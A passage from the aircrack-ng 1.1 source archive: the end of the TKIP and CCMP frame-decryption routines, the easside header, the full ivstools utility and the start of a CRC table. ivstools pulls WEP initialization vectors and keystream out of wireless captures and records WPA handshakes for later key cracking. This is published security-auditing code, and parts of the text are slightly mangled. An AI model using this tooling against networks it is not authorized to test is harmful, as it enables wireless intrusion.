| ( h80211[z + 5] << 8 ) | ( h80211[z + 6] << 16 ) | ( h80211[z + 7] << 24 ); PPK[0] = LO16( IV32 ); PPK[1] = HI16( IV32 ); PPK[2] = MK16( h80211[11], h80211[10] ); PPK[3] = MK16( h80211[13], h80211[12] ); PPK[4] = MK16( h80211[15], h80211[14] ); for( i = 0; i < 8; i++ ) { PPK[0] += _S_( PPK[4] ^ TK16( (i & 1) + 0 ) ); PPK[1] += _S_( PPK[0] ^ TK16( (i & 1) + 2 ) ); PPK[2] += _S_( PPK[1] ^ TK16( (i & 1) + 4 ) ); PPK[3] += _S_( PPK[2] ^ TK16( (i & 1) + 6 ) ); PPK[4] += _S_( PPK[3] ^ TK16( (i & 1) + 0 ) ) + i; } PPK[5] = PPK[4] + IV16; PPK[0] += _S_( PPK[5] ^ TK16(0) ); PPK[1] += _S_( PPK[0] ^ TK16(1) ); PPK[2] += _S_( PPK[1] ^ TK16(2) ); PPK[3] += _S_( PPK[2] ^ TK16(3) ); PPK[4] += _S_( PPK[3] ^ TK16(4) ); PPK[5] += _S_( PPK[4] ^ TK16(5) ); PPK[0] += ROTR1( PPK[5] ^ TK16(6) ); PPK[1] += ROTR1( PPK[0] ^ TK16(7) ); PPK[2] += ROTR1( PPK[1] ); PPK[3] += ROTR1( PPK[2] ); PPK[4] += ROTR1( PPK[3] ); PPK[5] += ROTR1( PPK[4] ); key[0] = HI8( IV16 ); key[1] = ( HI8( IV16 ) | 0x20 ) & 0x7F; key[2] = LO8( IV16 ); key[3] = LO8( (PPK[5] ^ TK16(0) ) >> 1); for( i = 0; i < 6; i++ ) { key[4 + ( 2 * i)] = LO8( PPK[i] ); key[5 + ( 2 * i)] = HI8( PPK[i] ); } return 0; } int decrypt_tkip( uchar *h80211, int caplen, uchar TK1[16] ) { uchar K[16]; int z; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) { z += 2; } calc_tkip_ppk( h80211, caplen, TK1, K ); return( decrypt_wep( h80211 + z + 8, caplen - z - 8, K, 16 ) ); } /* CCMP (AES-CTR-MAC) decryption routine */ static inline void XOR( uchar *dst, uchar *src, int len ) { int i; for( i = 0; i < len; i++ ) dst[i] ^= src[i]; } int decrypt_ccmp( uchar *h80211, int caplen, uchar TK1[16] ) { int is_a4, i, n, z, blocks; int data_len, last, offset; uchar B0[16], B[16], MIC[16]; uchar PN[6], AAD[32]; AES_KEY aes_ctx; is_a4 = ( h80211[1] & 3 ) == 3; z = 24 + 6 * is_a4; PN[0] = h80211[z + 7]; PN[1] = h80211[z + 6]; PN[2] = h80211[z + 5]; PN[3] = h80211[z + 4]; PN[4] = h80211[z + 1]; PN[5] = h80211[z + 0]; data_len = caplen - z - 8 - 8; B0[0] = 0x59; B0[1] = 0; memcpy( B0 + 2, h80211 + 10, 6 ); memcpy( B0 + 8, PN, 6 ); B0[14] = ( data_len >> 8 ) & 0xFF; B0[15] = ( data_len & 0xFF ); memset( AAD, 0, sizeof( AAD ) ); AAD[1] = 22 + 6 * is_a4; AAD[2] = h80211[0] & 0x8F; AAD[3] = h80211[1] & 0xC7; memcpy( AAD + 4, h80211 + 4, 3 * 6 ); AAD[22] = h80211[22] & 0x0F; if( is_a4 ) memcpy( AAD + 24, h80211 + 24, 6 ); AES_set_encrypt_key( TK1, 128, &aes_ctx ); AES_encrypt( B0, MIC, &aes_ctx ); XOR( MIC, AAD, 16 ); AES_encrypt( MIC, MIC, &aes_ctx ); XOR( MIC, AAD + 16, 16 ); AES_encrypt( MIC, MIC, &aes_ctx ); B0[0] &= 0x07; B0[14] = B0[15] = 0; AES_encrypt( B0, B, &aes_ctx ); XOR( h80211 + caplen - 8, B, 8 ); blocks = ( data_len + 16 - 1 ) / 16; last = data_len % 16; offset = z + 8; for( i = 1; i <= blocks; i++ ) { n = ( last > 0 && i == blocks ) ? last : 16; B0[14] = ( i >> 8 ) & 0xFF; B0[15] = i & 0xFF; AES_encrypt( B0, B, &aes_ctx ); XOR( h80211 + offset, B, n ); XOR( MIC, h80211 + offset, n ); AES_encrypt( MIC, MIC, &aes_ctx ); offset += n; } return( memcmp( h80211 + offset, MIC, 8 ) == 0 ); } /* ********************************************************************** * Routine: Phase 1 -- generate P1K, given TA, TK, IV32 * * Inputs: * TK[] = Temporal Key [128 bits] * TA[] = transmitter's MAC address [ 48 bits] * IV32 = upper 32 bits of IV [ 32 bits] * Output: * P1K[] = Phase 1 key [ 80 bits] * * Note: * This function only needs to be called every 2**16 frames, * although in theory it could be called every frame. * ********************************************************************** */ // void Phase1(u16b *P1K,const byte *TK,const byte *TA,u32b IV32) // { // int i; // /* Initialize the 80 bits of P1K[] from IV32 and TA[0..5] */ // P1K[0] = Lo16(IV32); // P1K[1] = Hi16(IV32); // P1K[2] = Mk16(TA[1],TA[0]); /* use TA[] as little-endian */ // P1K[3] = Mk16(TA[3],TA[2]); // P1K[4] = Mk16(TA[5],TA[4]); // /* Now compute an unbalanced Feistel cipher with 80-bit block */ // /* size on the 80-bit block P1K[], using the 128-bit key TK[] */ // for (i=0; i < PHASE1_LOOP_CNT ;i++) // { /* Each add operation here is mod 2**16 */ // P1K[0] += _S_(P1K[4] ^ TK16((i&1)+0)); // P1K[1] += _S_(P1K[0] ^ TK16((i&1)+2)); // P1K[2] += _S_(P1K[1] ^ TK16((i&1)+4)); // P1K[3] += _S_(P1K[2] ^ TK16((i&1)+6)); // P1K[4] += _S_(P1K[3] ^ TK16((i&1)+0)); // P1K[4] += i; /* avoid "slide attacks" */ // } // } /* ********************************************************************** * Routine: Phase 2 -- generate RC4KEY, given TK, P1K, IV16 * * Inputs: * TK[] = Temporal Key [128 bits] * P1K[] = Phase 1 output key [ 80 bits] * IV16 = low 16 bits of IV counter [ 16 bits] * Output: * RC4KEY[] = the key used to encrypt the frame [128 bits] * * Note: * The value {TA,IV32,IV16} for Phase1/Phase2 must be unique * across all frames using the same key TK value. Then, for a * given value of TK[], this TKIP48 construction guarantees that * the final RC4KEY value is unique across all frames. * * Suggested implementation optimization: if PPK[] is "overlaid" * appropriately on RC4KEY[], there is no need for the final * for loop below that copies the PPK[] result into RC4KEY[]. * ********************************************************************** */ // void Phase2(byte *RC4KEY,const byte *TK,const u16b *P1K,u16b IV16) // { // int i; // u16b PPK[6]; /* temporary key for mixing */ // /* all adds in the PPK[] equations below are mod 2**16 */ // for (i=0;i<5;i++) PPK[i]=P1K[i]; /* first, copy P1K to PPK */ // PPK[5] = P1K[4] + IV16; /* next, add in IV16 */ // /* Bijective non-linear mixing of the 96 bits of PPK[0..5] */ // PPK[0] += _S_(PPK[5] ^ TK16(0)); /* Mix key in each "round" */ // PPK[1] += _S_(PPK[0] ^ TK16(1)); // PPK[2] += _S_(PPK[1] ^ TK16(2)); // PPK[3] += _S_(PPK[2] ^ TK16(3)); // PPK[4] += _S_(PPK[3] ^ TK16(4)); // PPK[5] += _S_(PPK[4] ^ TK16(5)); /* Total # S-box lookups == 6 */ // /* Final sweep: bijective, linear. Rotates kill LSB correlations */ // PPK[0] += RotR1(PPK[5] ^ TK16(6)); // PPK[1] += RotR1(PPK[0] ^ TK16(7)); /* Use all of TK[] in Phase2 */ // PPK[2] += RotR1(PPK[1]); // PPK[3] += RotR1(PPK[2]); // PPK[4] += RotR1(PPK[3]); // PPK[5] += RotR1(PPK[4]); // /* At this point, for a given key TK[0..15], the 96-bit output */ // /* value PPK[0..5] is guaranteed to be unique, as a function */ // /* of the 96-bit "input" value {TA,IV32,IV16}. That is, P1K */ // /* is now a keyed permutation of {TA,IV32,IV16}. */ // /* Set RC4KEY[0..3], which includes cleartext portion of RC4 key */ // RC4KEY[0] = Hi8(IV16); /* RC4KEY[0..2] is the WEP IV */ // RC4KEY[1] =(Hi8(IV16) | 0x20) & 0x7F; /* Help avoid FMS weak keys */ // RC4KEY[2] = Lo8(IV16); // RC4KEY[3] = Lo8((PPK[5] ^ TK16(0)) >> 1); // /* Copy 96 bits of PPK[0..5] to RC4KEY[4..15] (little-endian) */ // for (i=0;i<6;i++) // { // RC4KEY[4+2*i] = Lo8(PPK[i]); // RC4KEY[5+2*i] = Hi8(PPK[i]); // } // } aircrack-ng-1.1/src/easside.h0000644000000000000000000000046610761053203014612 0ustar rootroot/*- * Copyright (c) 2007, Andrea Bittau * */ #ifndef __EASSIDE_COMMON_H__ #define __EASSIDE_COMMON_H__ #define S_DEFAULT_PORT 6969 #define S_DEFAULT_UDP_PORT 6969 #define S_CMD_INET_CHECK 1 #define S_CMD_PACKET 2 #define S_HELLO_LEN 50 #endif /* __EASSIDE_COMMON_H__ */ aircrack-ng-1.1/src/ivstools.c0000644000000000000000000007144111355271630015061 0ustar rootroot /* * IVS Tools - Convert or merge IVs * * Copyright (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine (pcap2ivs and mergeivs) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include "version.h" #include "crypto.h" #include "pcap.h" #include "uniqueiv.h" #include "osdep/byteorder.h" #include "common.h" #define FAILURE -1 #define IVS 1 #define WPA 2 #define ESSID 3 /* linked list of detected access points */ struct AP_info { struct AP_info *prev; /* prev. AP in list */ struct AP_info *next; /* next AP in list */ int ssid_length; /* length of ssid */ unsigned char bssid[6]; /* the access point's MAC */ unsigned char essid[256]; /* ascii network identifier */ unsigned char **uiv_root; /* unique iv root structure */ /* if wep-encrypted network */ int wpa_stored; /* wpa stored in ivs file? */ int essid_stored; /* essid stored in ivs file? */ }; struct WPA_hdsk { uchar stmac[6]; /* supplicant MAC */ uchar snonce[32]; /* supplicant nonce */ uchar anonce[32]; /* authenticator nonce */ uchar keymic[16]; /* eapol frame MIC */ uchar eapol[256]; /* eapol frame contents */ int eapol_size; /* eapol frame size */ int keyver; /* key version (TKIP / AES) */ int state; /* handshake completion */ }; /* linked list of detected clients */ struct ST_info { struct ST_info *prev; /* the prev client in list */ struct ST_info *next; /* the next client in list */ struct AP_info *base; /* AP this client belongs to */ unsigned char stmac[6]; /* the client's MAC address */ struct WPA_hdsk wpa; /* WPA handshake data */ }; /* bunch of global stuff */ struct globals { struct AP_info *ap_1st, *ap_end; struct ST_info *st_1st, *st_end; unsigned char prev_bssid[6]; FILE *f_ivs; /* output ivs file */ } G; static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); void usage(int what) { printf("\n %s - (C) 2006, 2007, 2008, 2009 Thomas d\'Otreppe\n" " Original work: Christophe Devine\n" " http://www.aircrack-ng.org\n" "\n usage: ", getVersion("ivsTools", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); if (what == 0 || what == 1) printf( "ivstools --convert \n" " Extract ivs from a pcap file\n"); if (what == 0) printf(" "); if (what == 0 || what == 2) printf("ivstools --merge .. \n" " Merge ivs files\n"); } int merge( int argc, char *argv[] ) { int i, n, unused; unsigned long nbw; unsigned char buffer[1024]; FILE *f_in, *f_out; struct ivs2_filehdr fivs2; struct ivs2_pkthdr ivs2; if( argc < 5 ) { usage(2); return( 1 ); } printf( "Creating %s\n", argv[argc - 1] ); if( ( f_out = fopen( argv[argc - 1], "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } nbw = 0; for( i = 2; i < argc - 1; ++i ) { printf( "Opening %s\n", argv[i] ); if( ( f_in = fopen( argv[i], "rb" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } if( fread( buffer, 1, 4, f_in ) != 4 ) { perror( "fread file header failed" ); return( 1 ); } if( memcmp( buffer, IVSONLY_MAGIC, 4 ) == 0 ) { printf( "%s is an old .ivs file\n", argv[i] ); return( 1 ); } if( memcmp( buffer, IVS2_MAGIC, 4 ) != 0 ) { printf( "%s is not an .%s file\n", argv[i], IVS2_EXTENSION ); return( 1 ); } if( fread( &fivs2, 1, sizeof(struct ivs2_filehdr), f_in ) != (size_t) sizeof(struct ivs2_filehdr) ) { perror( "fread file header failed" ); return( 1 ); } if( fivs2.version > IVS2_VERSION ) { printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION ); return( 1 ); } if( i == 2 ) { unused = fwrite( buffer, 1, 4, f_out ); unused = fwrite( &ivs2, 1, sizeof(struct ivs2_filehdr), f_out ); } while( ( n = fread( buffer, 1, 1024, f_in ) ) > 0 ) { nbw += n; unused = fwrite( buffer, 1, n, f_out ); printf( "%ld bytes written\r", nbw ); } fclose( f_in ); printf( "\n" ); } fclose( f_out ); return( 0 ); } int dump_add_packet( unsigned char *h80211, int caplen) { int i, n, z, seq, dlen, clen; struct ivs2_pkthdr ivs2; unsigned char *p; unsigned char bssid[6]; unsigned char stmac[6]; unsigned char clear[2048]; int weight[16]; int num_xor, o; struct AP_info *ap_cur = NULL; struct ST_info *st_cur = NULL; struct AP_info *ap_prv = NULL; struct ST_info *st_prv = NULL; /* skip packets smaller than a 802.11 header */ if( caplen < 24 ) return FAILURE; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) return FAILURE; /* grab the sequence number */ seq = ((h80211[22]>>4)+(h80211[23]<<4)); /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; case 1: memcpy( bssid, h80211 + 4, 6 ); break; case 2: memcpy( bssid, h80211 + 10, 6 ); break; default: memcpy( bssid, h80211 + 10, 6 ); break; } /* update our chained list of access points */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); return FAILURE; } memset( ap_cur, 0, sizeof( struct AP_info ) ); if( G.ap_1st == NULL ) G.ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); ap_cur->prev = ap_prv; ap_cur->uiv_root = uniqueiv_init(); G.ap_end = ap_cur; ap_cur->ssid_length = 0; ap_cur->wpa_stored = 0; ap_cur->essid_stored = 0; } /* find wpa handshake */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL && st_cur->wpa.state != 0xFF ) st_cur->wpa.state = 0; // printf("initial auth %d\n", ap_cur->wpa_state); } /* locate the station MAC in the 802.11 header */ switch( h80211[1] & 3 ) { case 0: /* if management, check that SA != BSSID */ if( memcmp( h80211 + 10, bssid, 6 ) == 0 ) goto skip_station; memcpy( stmac, h80211 + 10, 6 ); break; case 1: /* ToDS packet, must come from a client */ memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* FromDS packet, reject broadcast MACs */ if( h80211[4] != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; } /* update our chained list of wireless stations */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new client, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); return FAILURE; } memset( st_cur, 0, sizeof( struct ST_info ) ); if( G.st_1st == NULL ) G.st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); st_cur->prev = st_prv; G.st_end = st_cur; } if( st_cur->base == NULL || memcmp( ap_cur->bssid, BROADCAST, 6 ) != 0 ) st_cur->base = ap_cur; skip_station: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { p = h80211 + 36; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 ) ap_cur->ssid_length = p[1]; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; memset( ap_cur->essid, 0, 256 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; return ESSID; } for( i = 0; i < n; i++ ) if( ( ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32 ) || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } p += 2 + p[1]; } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 && caplen > 28 ) { p = h80211 + 28; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; return ESSID; } for( i = 0; i < n; i++ ) if( ap_cur->essid[i] < 32 || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } p += 2 + p[1]; } } /* packet parsing: some data */ if( ( h80211[0] & 0x0C ) == 0x08 ) { /* check the SNAP header to see if data is encrypted */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if( z + 26 > caplen ) return FAILURE; if( z + 10 > caplen ) return FAILURE; //check if WEP bit set and extended iv if( (h80211[1] & 0x40) != 0 && (h80211[z+3] & 0x20) == 0 ) { /* WEP: check if we've already seen this IV */ if( ! uniqueiv_check( ap_cur->uiv_root, &h80211[z] ) ) { /* first time seen IVs */ if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; dlen = caplen -24 -4 -4; //original data len if(dlen > 2048) dlen = 2048; //get cleartext + len + 4(iv+idx) num_xor = known_clear(clear, &clen, weight, h80211, dlen); if(num_xor == 1) { ivs2.flags |= IVS2_XOR; ivs2.len += clen + 4; /* reveal keystream (plain^encrypted) */ for(n=0; n<(ivs2.len-4); n++) { clear[n] = (clear[n] ^ h80211[z+4+n]) & 0xFF; } //clear is now the keystream } else { //do it again to get it 2 bytes higher num_xor = known_clear(clear+2, &clen, weight, h80211, dlen); ivs2.flags |= IVS2_PTW; //len = 4(iv+idx) + 1(num of keystreams) + 1(len per keystream) + 32*num_xor + 16*sizeof(int)(weight[16]) ivs2.len += 4 + 1 + 1 + 32*num_xor + 16*sizeof(int); clear[0] = num_xor; clear[1] = clen; /* reveal keystream (plain^encrypted) */ for(o=0; obssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( h80211+z, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IV iv+idx) failed" ); return( 1 ); } ivs2.len -= 4; if( fwrite( clear, 1, ivs2.len, G.f_ivs ) != (size_t) ivs2.len ) { perror( "fwrite(IV keystream) failed" ); return( 1 ); } } uniqueiv_mark( ap_cur->uiv_root, &h80211[z] ); return IVS; } } z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if( z + 26 > caplen ) return FAILURE; z += 6; //skip LLC header /* check ethertype == EAPOL */ if( h80211[z] == 0x88 && h80211[z + 1] == 0x8E && (h80211[1] & 0x40) != 0x40 ) { z += 2; //skip ethertype if( st_cur == NULL ) return FAILURE; /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( z+17+32 > caplen ) return FAILURE; if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 2; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 4; } st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 8; st_cur->wpa.keyver = h80211[z + 6] & 7; if( st_cur->wpa.state == 15) { memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 ); if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), G.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); return( 1 ); } return WPA; } } } } } return( 0 ); } int main( int argc, char *argv[] ) { time_t tt; int n, unused, ret; FILE *f_in; unsigned long nbr; unsigned long nbivs; unsigned char *h80211; unsigned char bssid_cur[6]; unsigned char bssid_prv[6]; unsigned char buffer[65536]; struct pcap_file_header pfh; struct pcap_pkthdr pkh; struct ivs2_filehdr fivs2; if( argc < 4 ) { usage(0); return( 1 ); } if (strcmp(argv[1],"--merge")==0) { return merge(argc,argv); } if (strcmp(argv[1],"--convert")) { usage(1); return( 1 ); } memset( bssid_cur, 0, 6 ); memset( bssid_prv, 0, 6 ); /* check the input pcap file */ printf( "Opening %s\n", argv[2] ); if( ( f_in = fopen( argv[2], "rb" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( pfh ); if( fread( &pfh, 1, n, f_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM ) { printf( "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", argv[2] ); return( 1 ); } if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( pfh.linktype ); if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER && pfh.linktype != LINKTYPE_RADIOTAP_HDR && pfh.linktype != LINKTYPE_PPI_HDR ) { printf( "\"%s\" isn't a regular 802.11 " "(wireless) capture.\n", argv[2] ); return( 1 ); } /* create the output ivs file */ printf( "Creating %s\n", argv[3] ); if( ( G.f_ivs = fopen( argv[3], "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } fivs2.version = IVS2_VERSION; unused = fwrite( IVS2_MAGIC, 4, 1, G.f_ivs ); unused = fwrite( &fivs2, sizeof(struct ivs2_filehdr), 1, G.f_ivs ); nbr = 0; tt = time( NULL ) - 1; nbivs = 0; while( 1 ) { if( time( NULL ) - tt > 0 ) { printf( "\33[KRead %ld packets...\r", nbr ); fflush( stdout ); tt = time( NULL ); } /* read one packet */ n = sizeof( pkh ); if( fread( &pkh, 1, n, f_in ) != (size_t) n ) break; if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); n = pkh.caplen; if( n <= 0 || n > 65535 ) { printf( "Corrupted file? Invalid packet length: %d.\n", n ); return( 1 ); } if( fread( buffer, 1, n, f_in ) != (size_t) n ) break; ++nbr; h80211 = buffer; /* remove any prism/radiotap header */ if( pfh.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else { n = *(int *)( h80211 + 4 ); if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( n ); } if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_RADIOTAP_HDR ) { n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_PPI_HDR ) { /* Remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) pkh.caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } ret = dump_add_packet(h80211, pkh.caplen); if(ret == IVS) ++nbivs; } fclose( f_in ); fclose( G.f_ivs ); printf( "\33[2KRead %ld packets.\n", nbr ); if ( nbivs > 0 ) printf( "Written %ld IVs.\n", nbivs); else { remove ( argv[3] ); puts("No IVs written"); } return( 0 ); } aircrack-ng-1.1/src/crctable.h0000644000000000000000000002343510761053203014755 0ustar rootroot#ifndef _CRCTABLE_H #define _CRCTABLE_H const unsigned long int crc_tbl[256] = { 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 